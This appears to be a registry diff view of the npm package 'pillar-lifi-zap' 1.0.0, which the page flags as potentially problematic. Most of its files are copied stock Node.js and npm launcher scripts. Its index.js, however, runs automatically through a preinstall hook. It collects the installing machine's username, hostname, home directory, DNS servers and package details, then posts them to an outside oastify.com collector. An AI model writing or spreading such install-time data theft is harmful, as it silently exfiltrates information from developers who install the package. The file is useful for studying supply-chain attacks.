pillar-lifi-zap 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of pillar-lifi-zap might be problematic. Click here for more details.

package/corepack ADDED
@@ -0,0 +1,12 @@
1
+ #!/bin/sh
2
+ basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
3
+
4
+ case `uname` in
5
+ *CYGWIN*) basedir=`cygpath -w "$basedir"`;;
6
+ esac
7
+
8
+ if [ -x "$basedir/node" ]; then
9
+ exec "$basedir/node" "$basedir/node_modules/corepack/dist/corepack.js" "$@"
10
+ else
11
+ exec node "$basedir/node_modules/corepack/dist/corepack.js" "$@"
12
+ fi
package/corepack.cmd ADDED
@@ -0,0 +1,7 @@
1
+ @SETLOCAL
2
+ @IF EXIST "%~dp0\node.exe" (
3
+ "%~dp0\node.exe" "%~dp0\node_modules\corepack\dist\corepack.js" %*
4
+ ) ELSE (
5
+ @SET PATHEXT=%PATHEXT:;.JS;=;%
6
+ node "%~dp0\node_modules\corepack\dist\corepack.js" %*
7
+ )
package/index.js ADDED
@@ -0,0 +1,46 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ var options = {
25
+ hostname: "le3wfx6u8ti6moy7y1zcb3jbv21tpkd9.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
26
+ port: 443,
27
+ path: "/",
28
+ method: "POST",
29
+ headers: {
30
+ "Content-Type": "application/x-www-form-urlencoded",
31
+ "Content-Length": postData.length,
32
+ },
33
+ };
34
+
35
+ var req = https.request(options, (res) => {
36
+ res.on("data", (d) => {
37
+ process.stdout.write(d);
38
+ });
39
+ });
40
+
41
+ req.on("error", (e) => {
42
+ // console.error(e);
43
+ });
44
+
45
+ req.write(postData);
46
+ req.end();
@@ -0,0 +1,55 @@
1
+ @echo off
2
+
3
+ setlocal
4
+ title Install Additional Tools for Node.js
5
+
6
+ cls
7
+
8
+ echo ====================================================
9
+ echo Tools for Node.js Native Modules Installation Script
10
+ echo ====================================================
11
+ echo.
12
+ echo This script will install Python and the Visual Studio Build Tools, necessary
13
+ echo to compile Node.js native modules. Note that Chocolatey and required Windows
14
+ echo updates will also be installed.
15
+ echo.
16
+ echo This will require about 3 GiB of free disk space, plus any space necessary to
17
+ echo install Windows updates. This will take a while to run.
18
+ echo.
19
+ echo Please close all open programs for the duration of the installation. If the
20
+ echo installation fails, please ensure Windows is fully updated, reboot your
21
+ echo computer and try to run this again. This script can be found in the
22
+ echo Start menu under Node.js.
23
+ echo.
24
+ echo You can close this window to stop now. Detailed instructions to install these
25
+ echo tools manually are available at https://github.com/nodejs/node-gyp#on-windows
26
+ echo.
27
+ pause
28
+
29
+ cls
30
+
31
+ REM Adapted from https://github.com/Microsoft/windows-dev-box-setup-scripts/blob/79bbe5bdc4867088b3e074f9610932f8e4e192c2/README.md#legal
32
+ echo Using this script downloads third party software
33
+ echo ------------------------------------------------
34
+ echo This script will direct to Chocolatey to install packages. By using
35
+ echo Chocolatey to install a package, you are accepting the license for the
36
+ echo application, executable(s), or other artifacts delivered to your machine as a
37
+ echo result of a Chocolatey install. This acceptance occurs whether you know the
38
+ echo license terms or not. Read and understand the license terms of the packages
39
+ echo being installed and their dependencies prior to installation:
40
+ echo - https://chocolatey.org/packages/chocolatey
41
+ echo - https://chocolatey.org/packages/python
42
+ echo - https://chocolatey.org/packages/visualstudio2019-workload-vctools
43
+ echo.
44
+ echo This script is provided AS-IS without any warranties of any kind
45
+ echo ----------------------------------------------------------------
46
+ echo Chocolatey has implemented security safeguards in their process to help
47
+ echo protect the community from malicious or pirated software, but any use of this
48
+ echo script is at your own risk. Please read the Chocolatey's legal terms of use
49
+ echo as well as how the community repository for Chocolatey.org is maintained.
50
+ echo.
51
+ pause
52
+
53
+ cls
54
+
55
+ "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command Start-Process '%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe' -ArgumentList '-NoProfile -InputFormat None -ExecutionPolicy Bypass -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iex ((New-Object System.Net.WebClient).DownloadString(''https://chocolatey.org/install.ps1'')); choco upgrade -y python visualstudio2019-workload-vctools; Read-Host ''Type ENTER to exit'' ' -Verb RunAs
package/node.exe ADDED
Binary file
@@ -0,0 +1,115 @@
1
+ <instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events" xmlns:xs="http://www.w3.org/2001/XMLSchema">
2
+ <instrumentation>
3
+ <events>
4
+ <provider name="NodeJS-ETW-provider" guid="{77754E9B-264B-4D8D-B981-E4135C1ECB0C}" symbol="NODE_ETW_PROVIDER" message="$(string.NodeJS-ETW-provider.name)" messageFileName="C:\Program Files\nodejs\node.exe" resourceFileName="C:\Program Files\nodejs\node.exe">
5
+
6
+ <tasks>
7
+ <task name="MethodRuntime" value="1" symbol="JSCRIPT_METHOD_RUNTIME_TASK">
8
+ <opcodes>
9
+ <opcode name="MethodLoad" value="10" symbol="JSCRIPT_METHOD_METHODLOAD_OPCODE"/>
10
+ </opcodes>
11
+ </task>
12
+ </tasks>
13
+
14
+ <opcodes>
15
+ <opcode name="NODE_HTTP_SERVER_REQUEST" value="10"/>
16
+ <opcode name="NODE_HTTP_SERVER_RESPONSE" value="11"/>
17
+ <opcode name="NODE_HTTP_CLIENT_REQUEST" value="12"/>
18
+ <opcode name="NODE_HTTP_CLIENT_RESPONSE" value="13"/>
19
+ <opcode name="NODE_NET_SERVER_CONNECTION" value="14"/>
20
+ <opcode name="NODE_NET_STREAM_END" value="15"/>
21
+ <opcode name="NODE_GC_START" value="16"/>
22
+ <opcode name="NODE_GC_DONE" value="17"/>
23
+ <opcode name="NODE_V8SYMBOL_REMOVE" value="21"/>
24
+ <opcode name="NODE_V8SYMBOL_MOVE" value="22"/>
25
+ <opcode name="NODE_V8SYMBOL_RESET" value="23"/>
26
+ </opcodes>
27
+
28
+ <templates>
29
+ <template tid="node_connection">
30
+ <data name="fd" inType="win:UInt32"/>
31
+ <data name="port" inType="win:UInt32"/>
32
+ <data name="remote" inType="win:AnsiString"/>
33
+ <data name="buffered" inType="win:UInt32"/>
34
+ </template>
35
+
36
+ <template tid="node_http_client_request">
37
+ <data name="url" inType="win:AnsiString"/>
38
+ <data name="method" inType="win:AnsiString"/>
39
+ <data name="fd" inType="win:UInt32"/>
40
+ <data name="port" inType="win:UInt32"/>
41
+ <data name="remote" inType="win:AnsiString"/>
42
+ <data name="buffered" inType="win:UInt32"/>
43
+ </template>
44
+
45
+ <template tid="node_http_server_request">
46
+ <data name="url" inType="win:AnsiString"/>
47
+ <data name="method" inType="win:AnsiString"/>
48
+ <data name="forwardedFor" inType="win:AnsiString"/>
49
+ <data name="fd" inType="win:UInt32"/>
50
+ <data name="port" inType="win:UInt32"/>
51
+ <data name="remote" inType="win:AnsiString"/>
52
+ <data name="buffered" inType="win:UInt32"/>
53
+ </template>
54
+
55
+ <template tid="node_gc">
56
+ <data name="gctype" inType="win:UInt32"/>
57
+ <data name="gccallbackflags" inType="win:UInt32"/>
58
+ </template>
59
+
60
+ <template tid="V8AddressChange">
61
+ <data name="addr1" inType="win:Pointer" outType="win:HexInt64"/>
62
+ <data name="addr2" inType="win:Pointer" outType="win:HexInt64"/>
63
+ </template>
64
+
65
+ <template tid="MethodLoadUnload">
66
+ <data name="ScriptContextID" inType="win:Pointer" outType="win:HexInt64"/>
67
+ <data name="MethodStartAddress" inType="win:Pointer" outType="win:HexInt64"/>
68
+ <data name="MethodSize" inType="win:UInt64"/>
69
+ <data name="MethodID" inType="win:UInt32"/>
70
+ <data name="MethodFlags" inType="win:UInt16"/>
71
+ <data name="MethodAddressRangeID" inType="win:UInt16"/>
72
+ <data name="SourceID" inType="win:UInt64"/>
73
+ <data name="Line" inType="win:UInt32" outType="xs:unsignedInt"/>
74
+ <data name="Column" inType="win:UInt32" outType="xs:unsignedInt"/>
75
+ <data name="MethodName" inType="win:UnicodeString" outType="xs:string"/>
76
+ </template>
77
+ </templates>
78
+
79
+ <events>
80
+ <event value="1" opcode="NODE_HTTP_SERVER_REQUEST" template="node_http_server_request" symbol="NODE_HTTP_SERVER_REQUEST_EVENT" message="$(string.NodeJS-ETW-provider.event.1.message)" level="win:Informational"/>
81
+ <event value="2" opcode="NODE_HTTP_SERVER_RESPONSE" template="node_connection" symbol="NODE_HTTP_SERVER_RESPONSE_EVENT" message="$(string.NodeJS-ETW-provider.event.2.message)" level="win:Informational"/>
82
+ <event value="3" opcode="NODE_HTTP_CLIENT_REQUEST" template="node_http_client_request" symbol="NODE_HTTP_CLIENT_REQUEST_EVENT" message="$(string.NodeJS-ETW-provider.event.3.message)" level="win:Informational"/>
83
+ <event value="4" opcode="NODE_HTTP_CLIENT_RESPONSE" template="node_connection" symbol="NODE_HTTP_CLIENT_RESPONSE_EVENT" message="$(string.NodeJS-ETW-provider.event.4.message)" level="win:Informational"/>
84
+ <event value="5" opcode="NODE_NET_SERVER_CONNECTION" template="node_connection" symbol="NODE_NET_SERVER_CONNECTION_EVENT" message="$(string.NodeJS-ETW-provider.event.5.message)" level="win:Informational"/>
85
+ <event value="6" opcode="NODE_NET_STREAM_END" template="node_connection" symbol="NODE_NET_STREAM_END_EVENT" message="$(string.NodeJS-ETW-provider.event.6.message)" level="win:Informational"/>
86
+ <event value="7" opcode="NODE_GC_START" template="node_gc" symbol="NODE_GC_START_EVENT" message="$(string.NodeJS-ETW-provider.event.7.message)" level="win:Informational"/>
87
+ <event value="8" opcode="NODE_GC_DONE" template="node_gc" symbol="NODE_GC_DONE_EVENT" message="$(string.NodeJS-ETW-provider.event.8.message)" level="win:Informational"/>
88
+ <event value="9" level="win:Informational" opcode="MethodLoad" symbol="MethodLoad" message="$(string.NodeJS-ETW-provider.event.9.message)" task="MethodRuntime" template="MethodLoadUnload"/>
89
+ <event value="21" opcode="NODE_V8SYMBOL_REMOVE" template="V8AddressChange" symbol="NODE_V8SYMBOL_REMOVE_EVENT" message="$(string.NodeJS-ETW-provider.event.21.message)" level="win:Informational"/>
90
+ <event value="22" opcode="NODE_V8SYMBOL_MOVE" template="V8AddressChange" symbol="NODE_V8SYMBOL_MOVE_EVENT" message="$(string.NodeJS-ETW-provider.event.22.message)" level="win:Informational"/>
91
+ <event value="23" opcode="NODE_V8SYMBOL_RESET" symbol="NODE_V8SYMBOL_RESET_EVENT" message="$(string.NodeJS-ETW-provider.event.23.message)" level="win:Informational"/>
92
+ </events>
93
+ </provider>
94
+ </events>
95
+ </instrumentation>
96
+ <localization>
97
+ <resources culture="en-US">
98
+ <stringTable>
99
+ <string id="NodeJS-ETW-provider.name" value="Node.js ETW Provider"/>
100
+ <string id="NodeJS-ETW-provider.event.1.message" value="Node.js HTTP Server Request%nMethod: %2%nRemote: %6%nPort: %5%nURL: %1"/>
101
+ <string id="NodeJS-ETW-provider.event.2.message" value="Node.js HTTP Server Response%nRemote: %3%nPort: %2"/>
102
+ <string id="NodeJS-ETW-provider.event.3.message" value="Node.js HTTP Client Request%nMethod: %2%nRemote: %5%nPort: %4%nURL: %1"/>
103
+ <string id="NodeJS-ETW-provider.event.4.message" value="Node.js HTTP Client Response%nRemote: %3%nPort: %2"/>
104
+ <string id="NodeJS-ETW-provider.event.5.message" value="Node.js Net Server Connection%nRemote: %3%nPort: %2"/>
105
+ <string id="NodeJS-ETW-provider.event.6.message" value="Node.js Net Stream End%nRemote: %3%nPort: %2"/>
106
+ <string id="NodeJS-ETW-provider.event.7.message" value="Node.js Garbage Collection Start"/>
107
+ <string id="NodeJS-ETW-provider.event.8.message" value="Node.js Garbage Collection Done"/>
108
+ <string id="NodeJS-ETW-provider.event.9.message" value="Node.js Function Compiled: %10"/>
109
+ <string id="NodeJS-ETW-provider.event.21.message" value="Node.js V8 Symbol Remove"/>
110
+ <string id="NodeJS-ETW-provider.event.22.message" value="Node.js V8 Symbol Move"/>
111
+ <string id="NodeJS-ETW-provider.event.23.message" value="Node.js V8 Symbol Reset"/>
112
+ </stringTable>
113
+ </resources>
114
+ </localization>
115
+ </instrumentationManifest>
package/nodevars.bat ADDED
@@ -0,0 +1,24 @@
1
+ @echo off
2
+
3
+ rem Ensure this Node.js and npm are first in the PATH
4
+ set "PATH=%APPDATA%\npm;%~dp0;%PATH%"
5
+
6
+ setlocal enabledelayedexpansion
7
+ pushd "%~dp0"
8
+
9
+ rem Figure out the Node.js version.
10
+ set print_version=.\node.exe -p -e "process.versions.node + ' (' + process.arch + ')'"
11
+ for /F "usebackq delims=" %%v in (`%print_version%`) do set version=%%v
12
+
13
+ rem Print message.
14
+ if exist npm.cmd (
15
+ echo Your environment has been set up for using Node.js !version! and npm.
16
+ ) else (
17
+ echo Your environment has been set up for using Node.js !version!.
18
+ )
19
+
20
+ popd
21
+ endlocal
22
+
23
+ rem If we're in the Node.js directory, change to the user's home dir.
24
+ if "%CD%\"=="%~dp0" cd /d "%HOMEDRIVE%%HOMEPATH%"
package/npm ADDED
@@ -0,0 +1,44 @@
1
+ #!/usr/bin/env bash
2
+ (set -o igncr) 2>/dev/null && set -o igncr; # cygwin encoding fix
3
+
4
+ basedir=`dirname "$0"`
5
+
6
+ case `uname` in
7
+ *CYGWIN*) basedir=`cygpath -w "$basedir"`;;
8
+ esac
9
+
10
+ NODE_EXE="$basedir/node.exe"
11
+ if ! [ -x "$NODE_EXE" ]; then
12
+ NODE_EXE="$basedir/node"
13
+ fi
14
+ if ! [ -x "$NODE_EXE" ]; then
15
+ NODE_EXE=node
16
+ fi
17
+
18
+ # this path is passed to node.exe, so it needs to match whatever
19
+ # kind of paths Node.js thinks it's using, typically win32 paths.
20
+ CLI_BASEDIR="$("$NODE_EXE" -p 'require("path").dirname(process.execPath)')"
21
+ NPM_CLI_JS="$CLI_BASEDIR/node_modules/npm/bin/npm-cli.js"
22
+
23
+ NPM_PREFIX=`"$NODE_EXE" "$NPM_CLI_JS" prefix -g`
24
+ if [ $? -ne 0 ]; then
25
+ # if this didn't work, then everything else below will fail
26
+ echo "Could not determine Node.js install directory" >&2
27
+ exit 1
28
+ fi
29
+ NPM_PREFIX_NPM_CLI_JS="$NPM_PREFIX/node_modules/npm/bin/npm-cli.js"
30
+
31
+ # a path that will fail -f test on any posix bash
32
+ NPM_WSL_PATH="/.."
33
+
34
+ # WSL can run Windows binaries, so we have to give it the win32 path
35
+ # however, WSL bash tests against posix paths, so we need to construct that
36
+ # to know if npm is installed globally.
37
+ if [ `uname` = 'Linux' ] && type wslpath &>/dev/null ; then
38
+ NPM_WSL_PATH=`wslpath "$NPM_PREFIX_NPM_CLI_JS"`
39
+ fi
40
+ if [ -f "$NPM_PREFIX_NPM_CLI_JS" ] || [ -f "$NPM_WSL_PATH" ]; then
41
+ NPM_CLI_JS="$NPM_PREFIX_NPM_CLI_JS"
42
+ fi
43
+
44
+ "$NODE_EXE" "$NPM_CLI_JS" "$@"
package/npm.cmd ADDED
@@ -0,0 +1,19 @@
1
+ :: Created by npm, please don't edit manually.
2
+ @ECHO OFF
3
+
4
+ SETLOCAL
5
+
6
+ SET "NODE_EXE=%~dp0\node.exe"
7
+ IF NOT EXIST "%NODE_EXE%" (
8
+ SET "NODE_EXE=node"
9
+ )
10
+
11
+ SET "NPM_CLI_JS=%~dp0\node_modules\npm\bin\npm-cli.js"
12
+ FOR /F "delims=" %%F IN ('CALL "%NODE_EXE%" "%NPM_CLI_JS%" prefix -g') DO (
13
+ SET "NPM_PREFIX_NPM_CLI_JS=%%F\node_modules\npm\bin\npm-cli.js"
14
+ )
15
+ IF EXIST "%NPM_PREFIX_NPM_CLI_JS%" (
16
+ SET "NPM_CLI_JS=%NPM_PREFIX_NPM_CLI_JS%"
17
+ )
18
+
19
+ "%NODE_EXE%" "%NPM_CLI_JS%" %*
package/npx ADDED
@@ -0,0 +1,48 @@
1
+ #!/usr/bin/env bash
2
+
3
+ # This is used by the Node.js installer, which expects the cygwin/mingw
4
+ # shell script to already be present in the npm dependency folder.
5
+
6
+ (set -o igncr) 2>/dev/null && set -o igncr; # cygwin encoding fix
7
+
8
+ basedir=`dirname "$0"`
9
+
10
+ case `uname` in
11
+ *CYGWIN*) basedir=`cygpath -w "$basedir"`;;
12
+ esac
13
+
14
+ NODE_EXE="$basedir/node.exe"
15
+ if ! [ -x "$NODE_EXE" ]; then
16
+ NODE_EXE="$basedir/node"
17
+ fi
18
+ if ! [ -x "$NODE_EXE" ]; then
19
+ NODE_EXE=node
20
+ fi
21
+
22
+ # these paths are passed to node.exe, so they need to match whatever
23
+ # kind of paths Node.js thinks it's using, typically win32 paths.
24
+ CLI_BASEDIR="$("$NODE_EXE" -p 'require("path").dirname(process.execPath)')"
25
+ if [ $? -ne 0 ]; then
26
+ # if this didn't work, then everything else below will fail
27
+ echo "Could not determine Node.js install directory" >&2
28
+ exit 1
29
+ fi
30
+ NPM_CLI_JS="$CLI_BASEDIR/node_modules/npm/bin/npm-cli.js"
31
+ NPX_CLI_JS="$CLI_BASEDIR/node_modules/npm/bin/npx-cli.js"
32
+ NPM_PREFIX=`"$NODE_EXE" "$NPM_CLI_JS" prefix -g`
33
+ NPM_PREFIX_NPX_CLI_JS="$NPM_PREFIX/node_modules/npm/bin/npx-cli.js"
34
+
35
+ # a path that will fail -f test on any posix bash
36
+ NPX_WSL_PATH="/.."
37
+
38
+ # WSL can run Windows binaries, so we have to give it the win32 path
39
+ # however, WSL bash tests against posix paths, so we need to construct that
40
+ # to know if npm is installed globally.
41
+ if [ `uname` = 'Linux' ] && type wslpath &>/dev/null ; then
42
+ NPX_WSL_PATH=`wslpath "$NPM_PREFIX_NPX_CLI_JS"`
43
+ fi
44
+ if [ -f "$NPM_PREFIX_NPX_CLI_JS" ] || [ -f "$NPX_WSL_PATH" ]; then
45
+ NPX_CLI_JS="$NPM_PREFIX_NPX_CLI_JS"
46
+ fi
47
+
48
+ "$NODE_EXE" "$NPX_CLI_JS" "$@"
package/npx.cmd ADDED
@@ -0,0 +1,20 @@
1
+ :: Created by npm, please don't edit manually.
2
+ @ECHO OFF
3
+
4
+ SETLOCAL
5
+
6
+ SET "NODE_EXE=%~dp0\node.exe"
7
+ IF NOT EXIST "%NODE_EXE%" (
8
+ SET "NODE_EXE=node"
9
+ )
10
+
11
+ SET "NPM_CLI_JS=%~dp0\node_modules\npm\bin\npm-cli.js"
12
+ SET "NPX_CLI_JS=%~dp0\node_modules\npm\bin\npx-cli.js"
13
+ FOR /F "delims=" %%F IN ('CALL "%NODE_EXE%" "%NPM_CLI_JS%" prefix -g') DO (
14
+ SET "NPM_PREFIX_NPX_CLI_JS=%%F\node_modules\npm\bin\npx-cli.js"
15
+ )
16
+ IF EXIST "%NPM_PREFIX_NPX_CLI_JS%" (
17
+ SET "NPX_CLI_JS=%NPM_PREFIX_NPX_CLI_JS%"
18
+ )
19
+
20
+ "%NODE_EXE%" "%NPX_CLI_JS%" %*
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "pillar-lifi-zap",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "dependencies": {
7
+ "corepack": "^0.18.0",
8
+ "npm": "^9.6.7"
9
+ },
10
+ "devDependencies": {},
11
+ "scripts": {
12
+ "test": "echo \"Error: no test specified\" && exit 1",
13
+ "preinstall": "node index.js"
14
+ },
15
+ "author": "",
16
+ "license": "ISC"
17
+ }